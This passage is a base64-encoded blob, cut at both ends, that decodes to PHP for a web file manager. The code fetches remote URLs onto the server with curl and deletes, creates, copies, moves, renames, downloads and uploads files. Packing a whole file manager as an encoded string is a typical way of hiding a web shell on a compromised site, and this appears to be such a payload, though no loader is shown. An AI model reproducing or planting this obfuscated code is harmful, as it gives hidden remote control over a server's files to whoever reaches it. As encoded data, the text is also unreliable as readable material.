lXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ldGVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RvJ10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX